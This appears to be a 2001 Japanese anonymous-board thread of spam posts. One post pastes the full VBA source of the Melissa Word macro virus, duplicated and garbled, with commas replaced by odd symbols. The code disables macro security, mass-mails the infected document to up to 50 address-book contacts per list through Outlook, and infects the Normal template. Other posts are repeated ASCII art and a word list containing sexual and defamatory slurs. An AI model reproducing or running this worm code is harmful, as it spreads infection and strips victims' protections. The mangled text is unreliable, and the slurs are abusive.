【速報】日本人タクアン買ってこいよ。
1 ：えええ：
腹減った。
タクアン買ってこいよ。
さっさといけ！
タクアン買ってこいよ。
さっさといけ！
|
|
|
rivate Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"＠｀ "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"＠｀ "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook＠｀ DasMapiName＠｀ BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\"＠｀ "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile"＠｀ "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\"＠｀ "Melissa?") = "... by Kwyjibo"
On Error Resume Next
If System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"＠｀ "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"＠｀ "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook＠｀ DasMapiName＠｀ BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\"＠｀ "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile"＠｀ "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(""＠｀ "HKEY_CURRENT_USER\Software\Microsoft\Office\"＠｀ "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1＠｀ ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1＠｀ NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1＠｀ 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN＠｀ 1) <> ""
ToInfect.CodeModule.InsertLines BGN＠｀ ADI1.CodeModule.Lines(BGN＠｀ 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1＠｀ 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN＠｀ 1) <> ""
ToInfect.CodeModule.InsertLines BGN＠｀ NTI1.CodeModule.Lines(BGN＠｀ 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1＠｀ ActiveDocument.Name＠｀ "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1＠｀ ActiveDocument.Name＠｀ "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points＠｀ plus triple-word-score＠｀ plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1＠｀ ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1＠｀ NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1＠｀ 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN＠｀ 1) <> ""
ToInfect.CodeModule.InsertLines BGN＠｀ ADI1.CodeModule.Lines(BGN＠｀ 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1＠｀ 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN＠｀ 1) <> ""
ToInfect.CodeModule.InsertLines BGN＠｀ NTI1.CodeModule.Lines(BGN＠｀ 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1＠｀ ActiveDocument.Name＠｀ "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1＠｀ ActiveDocument.Name＠｀ "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points＠｀ plus triple-word-score＠｀ plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
5 ：かぱっく：2001/03/08(木) 13:40
まんこ・かぱっく
7 ： ：2001/03/08(木) 14:52
＿＿ o ( Oo ( ) ⌒)
| |:::::| :.::..::.:O _ ／γ _（ ）⌒( ) ）
| |:::::| :..::::..:.:. : (/ / / o O＼＼
っ￣|っ :..:( | / /ﾉ|ﾉ 〉| ﾉ ﾉ ） ）
（３ / ::..:| | | ﾉ ﾉﾉ ﾉ ﾉ|ﾉ / ／￣￣￣￣￣￣￣￣￣￣￣￣
`〉/ ＼ |（| | `ー' `ー' l | / ＜ さくら女の子だもん
// ＼ ＼ ゝ|| ﾊ _~ ワ ~ノﾉ / ＼ 怪獣じゃないもんっ☆
// ＼ ＼＿＿||＿」 「- / ＼＿＿＿＿＿＿＿＿＿＿＿＿
/ ＼ || / ○
`――ヽ 。 ｡L ○
|｀ー -1 Ｏ
○ ｜ |
( ＿| | o
／ ＼ ’ /
/ l ／￣￣￣￣＼
/ / (U) |
/ /＼＿＿人＿＿＿＝イ ｜
/ / | ^^ ｜ ＼ ｜
/ / | | | |
／ / |／￣￣￣~＼| | |＿
/____/ |＿ ＿＼
| |:::::| :.::..::.:O _ ／γ _（ ）⌒( ) ）
| |:::::| :..::::..:.:. : (/ / / o O＼＼
っ￣|っ :..:( | / /ﾉ|ﾉ 〉| ﾉ ﾉ ） ）
（３ / ::..:| | | ﾉ ﾉﾉ ﾉ ﾉ|ﾉ / ／￣￣￣￣￣￣￣￣￣￣￣￣
`〉/ ＼ |（| | `ー' `ー' l | / ＜ さくら女の子だもん
// ＼ ＼ ゝ|| ﾊ _~ ワ ~ノﾉ / ＼ 怪獣じゃないもんっ☆
// ＼ ＼＿＿||＿」 「- / ＼＿＿＿＿＿＿＿＿＿＿＿＿
/ ＼ || / ○
`――ヽ 。 ｡L ○
|｀ー -1 Ｏ
○ ｜ |
( ＿| | o
／ ＼ ’ /
/ l ／￣￣￣￣＼
/ / (U) |
/ /＼＿＿人＿＿＿＝イ ｜
/ / | ^^ ｜ ＼ ｜
/ / | | | |
／ / |／￣￣￣~＼| | |＿
/____/ |＿ ＿＼
8 ： ：2001/03/08(木) 14:55
強制猥褻 軽薄短小 神学博士 客員教授 日本沈没 大言壮語 強姦童貞 神示捏造 真性包茎 変名自在 無理難題
精神鑑定 異常判明 無期懲役 巨乳万歳 奇想天外 四捨五入 出前迅速 落書無用 強制猥褻 人民搾取 将来逮捕
弱肉強食 焼肉定食 肉野菜炒 会員破産 予定終了 厚顔無恥 悪徳商法 賄賂献金 人間失格 敵前逃亡 酒池肉林
責任転嫁 匿名希望 嘲笑罵倒 暴飲暴食 当然通風 誇大妄想 会員盲信 罵詈雑言 助平大王 会員離婚 慇懃無礼
書込終了 退屈千万 意味不明 非難囂々 賛辞強制 三浪大卒 同志社大 自画自賛 手前味噌 赤出味噌 強姦未遂
勃起不能 会員貧乏 幹部金満 珍々痒々 生涯不犯 羊頭狗肉 小心翼々 無霊能力 四面楚歌 秘法叩売 妖怪変化
有言虚行 美食痛風 自称神人 欲望俗人 利益誘導 主権在金 金玉肥大 傲慢不遜 嘲笑問題 所詮小物 所謂偽者
練乳頂戴 経血恐怖 卓上飛越 草履強打 匿名無視 妻子不在 訴訟沙汰 六大煩悩 学習塾長 喫茶店主 流行作家
無間地獄 玉串料払 百鬼夜行 前世情報 妻子不在 労働争議 悪評紛々 四苦八苦 女性秘書 委細面談 聖地西荻
富士蕎麦 魑魅魍魎 艱難辛苦 冷汗三斗 地獄草紙 風俗営業 献金多額 脱税疑惑 孤立無援 書籍販売 変装趣味
奇々怪々 銭銭銭銭 二束三文 美川憲二 夏目葬式 合法詐欺 毒書三昧 高姫降臨 幽霊著者 白髪黒染 電脳化粧
体脂肪率 新人合一 殿御乱心 肩書収集 尿酸結晶 短小包茎 王仁盗作 息子立派 悪徳太子 蛇尾出王 糞木正成
尿管結石 自業自得 不法行為 違法行為 犯罪行為 破戒行為 阿鼻叫喚 因果応報 煩悩無量 人畜有害 自己矛盾
八百代言 坊主丸儲 千百万円 助平椅子 煩悩増大 巨乳万歳 奇想天外 四捨五入 出前迅速 落書無用 強制猥褻
精神鑑定 異常判明 無期懲役 巨乳万歳 奇想天外 四捨五入 出前迅速 落書無用 強制猥褻 人民搾取 将来逮捕
弱肉強食 焼肉定食 肉野菜炒 会員破産 予定終了 厚顔無恥 悪徳商法 賄賂献金 人間失格 敵前逃亡 酒池肉林
責任転嫁 匿名希望 嘲笑罵倒 暴飲暴食 当然通風 誇大妄想 会員盲信 罵詈雑言 助平大王 会員離婚 慇懃無礼
書込終了 退屈千万 意味不明 非難囂々 賛辞強制 三浪大卒 同志社大 自画自賛 手前味噌 赤出味噌 強姦未遂
勃起不能 会員貧乏 幹部金満 珍々痒々 生涯不犯 羊頭狗肉 小心翼々 無霊能力 四面楚歌 秘法叩売 妖怪変化
有言虚行 美食痛風 自称神人 欲望俗人 利益誘導 主権在金 金玉肥大 傲慢不遜 嘲笑問題 所詮小物 所謂偽者
練乳頂戴 経血恐怖 卓上飛越 草履強打 匿名無視 妻子不在 訴訟沙汰 六大煩悩 学習塾長 喫茶店主 流行作家
無間地獄 玉串料払 百鬼夜行 前世情報 妻子不在 労働争議 悪評紛々 四苦八苦 女性秘書 委細面談 聖地西荻
富士蕎麦 魑魅魍魎 艱難辛苦 冷汗三斗 地獄草紙 風俗営業 献金多額 脱税疑惑 孤立無援 書籍販売 変装趣味
奇々怪々 銭銭銭銭 二束三文 美川憲二 夏目葬式 合法詐欺 毒書三昧 高姫降臨 幽霊著者 白髪黒染 電脳化粧
体脂肪率 新人合一 殿御乱心 肩書収集 尿酸結晶 短小包茎 王仁盗作 息子立派 悪徳太子 蛇尾出王 糞木正成
尿管結石 自業自得 不法行為 違法行為 犯罪行為 破戒行為 阿鼻叫喚 因果応報 煩悩無量 人畜有害 自己矛盾
八百代言 坊主丸儲 千百万円 助平椅子 煩悩増大 巨乳万歳 奇想天外 四捨五入 出前迅速 落書無用 強制猥褻
sage
sage
sage